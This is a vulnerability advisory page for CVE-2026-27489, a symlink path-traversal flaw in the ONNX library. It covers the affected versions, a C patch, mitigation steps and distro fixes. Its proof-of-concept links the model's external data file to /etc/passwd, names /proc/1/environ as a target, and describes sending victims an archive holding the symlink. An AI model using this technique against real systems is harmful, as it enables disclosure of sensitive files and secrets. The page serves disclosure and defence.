CVE-2026-27489 — onnx
Fix: onnx/onnx@4755f80CVE-2026-27489 is a CWE-23 vulnerability in onnx. A fix is available for onnx — see the affected versions and patch details below.
ONNX: Path Traversal via Symlink
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-27489.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
onnxReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory.
Details
The following check for symlink is ineffective and it is possible to point a symlink to an arbitrary location on the file system: https://github.com/onnx/onnx/blob/336652a4b2ab1e530ae02269efa7038082cef250/onnx/checker.cc#L1024-L1033
std::filesystem::is_regular_file performs a status(p) call on the provided path, which follows symbolic links to determine the file type, meaning it will return true if the target of a symlink is a regular file.
PoC
# Create a demo model with external data
import os
import numpy as np
import onnx
from onnx import helper, TensorProto, numpy_helper
def create_onnx_model(output_path="model.onnx"):
weight_matrix = np.random.randn(1000, 1000).astype(np.float32)
X = helper.make_tensor_value_info("X", TensorProto.FLOAT, [1, 1000])
Y = helper.make_tensor_value_info("Y", TensorProto.FLOAT, [1, 1000])
W = numpy_helper.from_array(weight_matrix, name="W")
matmul_node = helper.make_node("MatMul", inputs=["X", "W"], outputs=["Y"], name="matmul")
graph = helper.make_graph(
nodes=[matmul_node],
name="SimpleModel",
inputs=[X],
outputs=[Y],
initializer=[W]
)
model = helper.make_model(graph, opset_imports=[helper.make_opsetid("", 11)])
onnx.checker.check_model(model)
data_file = output_path.replace('.onnx', '.data')
if os.path.exists(output_path):
os.remove(output_path)
if os.path.exists(data_file):
os.remove(data_file)
onnx.save_model(
model,
output_path,
save_as_external_data=True,
all_tensors_to_one_file=True,
location=os.path.basename(data_file),
size_threshold=1024 * 1024
)
if __name__ == "__main__":
create_onnx_model("model.onnx")
- Run the above code to generate a sample model with external data.
- Remove
model.data - Run
ln -s /etc/passwd model.data - Load the model using the following code
- Observe check for symlink is bypassed and model is succesfuly loaded
import onnx
from onnx.external_data_helper import load_external_data_for_model
def load_onnx_model_basic(model_path="model.onnx"):
model = onnx.load(model_path)
return model
def load_onnx_model_explicit(model_path="model.onnx"):
model = onnx.load(model_path, load_external_data=False)
load_external_data_for_model(model, ".")
return model
if __name__ == "__main__":
model = load_onnx_model_basic("model.onnx")
A common misuse case for successful exploitation is that an adversary can provide victim with a compressed file, containing poc.onnx and poc.data (symlink). Once the victim uncompress and load the model, symlink read the adversary selected arbitrary file.
Impact
Read sensitive and arbitrary files and environment variable (e.g. /proc/1/environ) from the host that loads the model.
NOTE: this issue is not limited to UNIX.
Sample patch
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <errno.h>
int open_external_file_no_symlink(const char *base_dir,
const char *relative_path) {
int dirfd = -1;
int fd = -1;
struct stat st;
// Open base directory
dirfd = open(base_dir, O_RDONLY | O_DIRECTORY);
if (dirfd < 0) {
return -1;
}
// Open the target relative to base_dir
// O_NOFOLLOW => fail if final path component is a symlink
fd = openat(dirfd,
relative_path,
O_RDONLY | O_NOFOLLOW);
close(dirfd);
if (fd < 0) {
// ELOOP is the typical error if a symlink is encountered
return -1;
}
// Inspect the *opened file*
if (fstat(fd, &st) != 0) {
close(fd);
return -1;
}
// Enforce "regular file only"
if (!S_ISREG(st.st_mode)) {
close(fd);
errno = EINVAL;
return -1;
}
// fd is now:
// - not a symlink
// - not a directory
// - not a device / FIFO / socket
// - race-safe
return fd;
}
Resources
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | onnx | all versions | 1.21.0pip install --upgrade 'onnx==1.21.0' |
Affected Products
onnxlinuxfoundationDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for onnx, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update onnx to 1.21.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-27489 is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
This Important flaw in Open Neural Network Exchange (ONNX) affects Red Hat OpenShift AI. An attacker could exploit a path traversal vulnerability through a crafted symbolic link within an ONNX model, leading to unauthorized disclosure of files outside the model's designated directories. This risk is present when…
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat OpenShift AI 2.25 | rhoai/odh-pipeline-runtime-datascience-cpu-py312-rhel9:1780078312 | RHSA-2026:24977 |
| Red Hat OpenShift AI 3.3 | rhoai/odh-pipeline-runtime-pytorch-llmcompressor-cuda-py312-rhel9:1790076724 | RHSA-2026:73987 |
Frequently Asked Questions
Is CVE-2026-27489 in your dependencies?
Find it across PyPI, including transitive dependencies.